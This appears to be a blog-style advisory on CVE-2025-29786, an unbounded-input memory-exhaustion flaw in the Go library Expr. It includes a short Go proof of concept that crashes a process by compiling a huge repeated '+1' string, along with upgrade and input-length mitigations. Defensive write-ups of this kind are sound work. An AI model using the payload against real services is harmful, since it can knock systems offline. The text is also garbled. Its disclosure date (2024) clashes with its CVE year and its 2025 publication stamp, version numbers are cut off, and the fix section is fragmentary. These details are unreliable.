On 2024-05-10, a new security vulnerability was disclosed for the popular Go library, Expr. This bug, now tracked as CVE-2025-29786, allows an attacker to trigger excessive memory usage—and even crash processes—simply by supplying a very large input to the Expr parser. Below, we break down what happened, who’s at risk, sample exploit code, key references, and how to stay safe.
What is Expr?
Expr is a popular Go library for parsing and evaluating expressions. Programmers often use it to let users define calculations or conditional logic—think formulas, filters, or dynamic business rules.
- Repo: Expr on Github
- Docs: Expr documentation
About the Vulnerability
Summary:
If you allow users (or other code) to submit an expression of unlimited length to the Expr parser, it will try to parse and compile the entire thing into an Abstract Syntax Tree (AST), creating a node for every little part it finds. If the string is massive, the process will consume huge amounts of memory, eventually crashing due to Out-Of-Memory (OOM).
When Does It Happen?
- Your code does not validate, limit, or truncate the size/length of the expression string before calling Expr to parse it.
Here’s what an attack might look like in Go code using a vulnerable version of Expr
package main
import (
"fmt"
"strings"
"github.com/antonmedv/expr"
)
func main() {
// Generate a malicious expression by repeating "+1" many times.
payload := strings.Repeat("+1", 50_000_000) // ~100MB string!
// WARNING: This will use a lot of memory, do not run in production!
program, err := expr.Compile(payload)
if err != nil {
fmt.Println("Compile failed:", err)
} else {
fmt.Println("Compile succeeded:", program)
}
}
What Happens?
The program quickly consumes all available memory, then gets killed by the OS or panics with an OOM error.
Why Does This Happen?
- Expr tries to build a full node tree for the whole input, assuming nobody would feed it a gigantic string.
No built-in guardrails meant any-size input is accepted.
- A malicious or buggy client can take down the server/app this way.
Node Budget: Limits the total number of AST nodes that the parser can generate.
2. Memory Cap: Controls how much memory Expr can use during parsing. When the budget or memory is reached, parsing aborts safely—no OOM.
- Expr 1.17. Release Notes
- Commit diff (fix)
If updating is delayed or impossible, implement an input length guard in your application
const maxLen = 100 // sensible limit for your use
exprStr := getUserInput()
if len(exprStr) > maxLen {
return errors.New("Expression too large")
}
program, err := expr.Compile(exprStr)
[x] Upgrade to Expr 1.17. or later.
- [x] Validate all user inputs for length/complexity.
References & Further Reading
- Official GitHub Security Advisory
- Expr 1.17. Release
- Go Memory OOM Guide
Conclusion
CVE-2025-29786 is a classic “unbounded input” denial-of-service flaw. If you rely on Expr, upgrade as soon as possible, or at minimum, impose input limits today. Don’t let a simple oversized string take down your Go server.
If you have any doubts, contact the Expr author for advice, or start a chat on Go community forums.
Timeline
Published on: 03/17/2025 14:15:22 UTC